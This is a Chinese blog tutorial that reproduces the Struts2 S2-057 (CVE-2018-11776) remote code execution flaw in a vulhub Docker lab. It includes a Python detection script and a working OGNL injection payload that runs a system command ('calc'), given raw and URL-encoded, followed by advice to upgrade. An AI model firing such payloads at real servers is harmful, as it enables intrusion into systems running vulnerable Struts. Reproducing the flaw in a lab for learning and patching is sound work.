Struts2-057遠程代碼執行漏洞(s2-057/CVE-2018-11776)復現

參考了大佬的連接:https://github.com/jas502n/St2-057    

00x01前言

 Apache Struts是美國阿帕奇(Apache)軟件基金會負責維護的一個開源項目,是一套用於建立企業級Java Web 應用的開源MVC框架,主要提供兩個版本框架產品:   Struts 1和Struts 2。 Struts2是一個基於MVC設計模式的Web應用框架,它本質上至關於一個servlet,在MVC設計模式中,Struts2做爲控制器(Controller)來創建模型與視圖的數據交互。Struts 2是Struts的下一代產品,是在 struts 1和WebWork的技術基礎上進行了合併的全新的Struts 2框架。

java

00x02漏洞描述

定義XML配置時若是沒有設置namespace的值,而且上層動做配置中並無設置或使用通配符namespace時,可能會致使遠程代碼執行漏洞的發生。一樣也可能由於url標籤沒有設置value和action的值,而且上層動做並無設置或使用通配符namespace,從而致使遠程代碼執行漏洞的發生。linux

00x03影響版本

Struts 2.3 - Struts 2.3.34git

Struts 2.5 - Struts 2.5.16github

00x04漏洞驗證

在線驗證:http://0day.websaas.com.cn/web

本地驗證:https://github.com/ym2011/POC-EXP/tree/master/Struts2/S2-057docker

附上一個大佬的pocapache

import sys
import requests
  
url = sys.argv[1]
url_list = [i for i in url.split("/") if i != '']
  
payload = "${(65535+521)}"
  
payload = "/" + payload + "/"
num = 0
for str in url_list:
    num += 1
    if num == 1:
        nurl = str
        continue
    elif num == 2:
        nurl = nurl + "//" + str
        continue
    elif num == len(url_list):
        nurl = nurl + payload + str
        continue
    else:
        nurl = nurl + "/" + str
        continue
  
try:
    r = requests.head(nurl, stream=True).headers["Location"]
except:
    print "不存在ST2-057漏洞!"
    exit()
  
if r.find("66056") != -1:
    print "存在ST2-057漏洞!"
else:
    print "不存在ST2-057漏洞!"

00x05安裝本地環境

首先要安裝docker部署vulhubbootstrap

我用的是kali2018的虛擬機安裝的設計模式

更新數據bash

apt-get update

安裝docker

apt-get install docker.io

查看版本

docker -v

嘗試運行一下

docker images

出現鏡像列表則說明成功安裝,或者再進行驗證

docker run hello-world

若是出現

不要慌,服務器正從Docker Hub獲取到最新的Hello World鏡像,下載到本地,所以只需等待便可。

出現了上圖字樣表示安裝成功,若是沒用再次輸入docker run hello-world,回車就能驗證了。
接下來就須要安裝vulhub了,在這以前,須要先安裝pip

wget https://bootstrap.pypa.io/get-pip.py

安裝完成以後嘗試輸入pip,出現選項即說明安裝成功,接下來就能夠使用pip來安裝docker-compose

pip install docker-compose

直接從github上將vulhub拿下來,因爲某些緣由,直接下載vulhub會報錯,因此建議直接從github上下載,固然也能夠直接下載。

git clone https://github.com/vulhub/vulhub

不出意外的話,下載成功之後查看目錄下會出現vulhub,這個時候就能夠進去看看裏面有些什麼,固然裏面所包含靶站的仍是比較多的,均可以復現一些比較經典的漏洞。

這裏重點介紹下struts2-057漏洞吧,進入struts2目錄下,找到struts2-057,進去。

直接使用docker-compose將鏡像安裝起來。

docker-compose up -d

報錯了,看version都報錯

說沒用ssl_match模塊,應該是沒有下載完整,那麼咱們直接在網上去下載最新版:https://github.com/docker/compose/releases/tag/1.14.0-rc2,拉到最下面,下載linux版本的。

而後將文件上傳到 /usr/local/bin/ 文件夾下,而後將其重命名爲docker-compose,增長可執行:chmod +x /usr/local/bin/docker-compose  ,而後再運行查看版本

如今進入struts2-057目錄而後執行  docker-compose up -d   命令,下載有點兒慢。

看下docker裏面鏡像庫,若是出現struts2鏡像則說明安裝成功。

 

 查看psid,複製id後直接啓用環境。

 docker exec -i -t <id> /bin/bash

 

環境就搭建起來了,訪問一下ip:port/struts2-showcase/

 00x06漏洞復現

將url換成ip:port/struts2-showcase/${(111+111)}/actionChain1.action

 而後訪問

最後能夠看到已經變成了ip:port/struts2-showcase/222/register2.action

說明存在s2-057漏洞

 

中間的${(111+111)}是命令執行,獲得執行結果返回在後面的url呈現的頁面中

將${(111+111)} 替換用代碼執行編寫成命令執行的exp

${(#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('calc').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new  java.io.BufferedReader(#b),#d=new char[51020],#c.read(#d),#jas502n= @org.apache.struts2.ServletActionContext@getResponse().getWriter(),#jas502n.println(#d ),#jas502n.close())}

拆分:

${
(
#_memberAccess["allowStaticMethodAccess"]=true,
#a=@java.lang.Runtime@getRuntime().exec('calc').getInputStream(),
#b=new java.io.InputStreamReader(#a),
#c=new java.io.BufferedReader(#b),
#d=new char[51020],
#c.read(#d),
#jas502n= @org.apache.struts2.ServletActionContext@getResponse().getWriter(),
#jas502n.println(#d),
#jas502n.close())
}

中間的標紅的一段代碼中間的exec(‘’)函數裏面可執行任意系統命令,這裏是執行的calc調出計算器。

所以訪問http://ip:8080/struts2-showcase/%24%7b(%23_memberAccess%5b%22allowStaticMethodAccess%22%5d%3dtrue%2c%23a%3d%40java.lang.Runtime%40getRuntime().exec(%27calc%27).getInputStream()%2c%23b%3dnew+java.io.InputStreamReader(%23a)%2c%23c%3dnew++java.io.BufferedReader(%23b)%2c%23d%3dnew+char%5b51020%5d%2c%23c.read(%23d)%2c%23jas502n%3d+%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23jas502n.println(%23d+)%2c%23jas502n.close())%7d/actionChain1.action

00x7漏洞修復

 官方提供的臨時解決方案:當上層動做配置中沒有設置或使用通配符namespace時,驗證全部XML配置中的namespace,同時在JSP中驗證全部url標籤的value和action。

建議升級版本。

相關文章
相關標籤/搜索